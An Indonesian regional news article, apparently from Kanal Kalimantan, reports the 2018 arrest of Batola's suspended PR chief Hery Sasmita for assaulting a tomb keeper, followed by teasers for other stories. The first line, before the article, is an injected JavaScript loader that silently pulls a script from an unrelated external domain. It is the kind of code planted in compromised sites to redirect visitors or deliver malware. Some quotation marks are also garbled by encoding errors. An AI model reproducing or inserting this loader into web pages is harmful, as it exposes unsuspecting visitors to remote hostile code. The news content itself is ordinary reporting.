(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARABAHAN,  Polres Batola akhirnya menetapkan Kabag Humas Pemkab Batola non aktif, Hery Sasmita sebagai tersangka kasus penganiayaan terhadap penjaga kubah Datu Abdussamad Marabahan, H Zainuri, pada Selasa (24/7). Penetapan tersangka tersebut dilakukan setelah yang bersangkutan diperiksa intensif semanjak ditangkap malam sebelumnya.
Sejumlah alat bukti untuk menjerat yang bersangkutan di antaranya berupa hasil visum dari rumah sakit, serta keterangan korban dan saksi. Tadi siang, Hery Sasmita didampingi kuasa hukumnya, Saiful Bahri, nampak menjalani pemeriksaan di ruang penyidik Satreskrim Polres Batola.
Sebelumnya, Hery ditangkap oleh jajaran Polres Batola saat dalam perjalanan menuju Banjarmasin. Ketika itu, dia hendak menemui pengacaranya.
Menurut Kapolres Batola AKBP Mugi Sekar Jaya, tersangka ditangkap di Kawasan Sungai Gampa, Kecamatan Rantau Bedauh, Batola saat hendak menuju Banjarmasin.
Penangkapan Hery juga disampaikan Kapolda Kalsel Irjen Rachmat Mulyana disela acara Rapat Kerja Teknis Fungsi Reskrim Jajaran Polda Kalsel 2018.
“Dia sudah diperiksa dan saya perintahkan langsung ditahan,” jelasnya.
Kapolda pun mengaku turut prihatin atas insiden pemukulan yang menimpa seorang penjaga kubah Datu Abdussamad pada Kamis (19/7) lalu.
“Daerah kita salah satu yang muslimnya sangat kuat, kalau kita tidak quick respon takutnya terjadi hal-hal tidak diinginkan,” tegasnya.
Sementara itu, kuasa hukum korban H Zainuri, Kusman Hadi mengapresiasi langkah polisi untuk menangkap Hery Sasmita. “Iya kita puji dan apresiasi Kapolres Batola AKBP, Mugi Sekar Jaya, resmi mengamankan Kabag Humas Pemkab Batola Hery Sasmita yang diduga memukul H Nuri Al Banjari atau H Jainuri penjaga kubah Abdussamad (58), di Jalan Veteran Kabupaten Batola tadi malam. Kita benar-benar apresiasi langkah Kapolres Batola,†kata Kusman.
Untuk langkah hukum selanjutnya, kata Kusman, maka proses hukum Hery Sasmita diserahkan ke Polres Batola. Diharapkan, proses hukum Hery Sasmita itu bisa tuntas dan bisa diselesaikan seadil-adilnya. “Langkah pengamanan Hery bukan desakan masyararakat oleh Polres Batola, tapi memang sudah sesuai aturan yang berlaku dan tindakan Hery Sasmita itu tidak pantas sebagai seorang pejabat memukul penjaga kubah,†kata Kusman.
Sebelumnya Polres Batola telah memeriksa lima saksi terkait dugaan kasus pemukulan yang dilakukan Kabag Humas Pemkab Batola Hery Sasmita kepada H Nuri Al Banjari atau H Jainuri penjaga kubah Datu Abdussamad di Jalan Veteran Kabupaten Batola, Kamis (19/7) pagi lalu.
“Ya ada lima saksi yang kita periksa dalam kasus Hery Sasmita baik di tempat kejadian perkara dan sekitar lokasi kubah,†kata Kapolres AKBP Mugi Sekar Jaya, saat jumpa pers.
Polres Batola sempat menunggu hasil visum selama 4 hari, sejak korban H Zainuri melaporkan Hery Sasmita sesuai surat laporan LP/83/VII/2018/KALSEL di Mapolres Barito Kuala. (rico)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.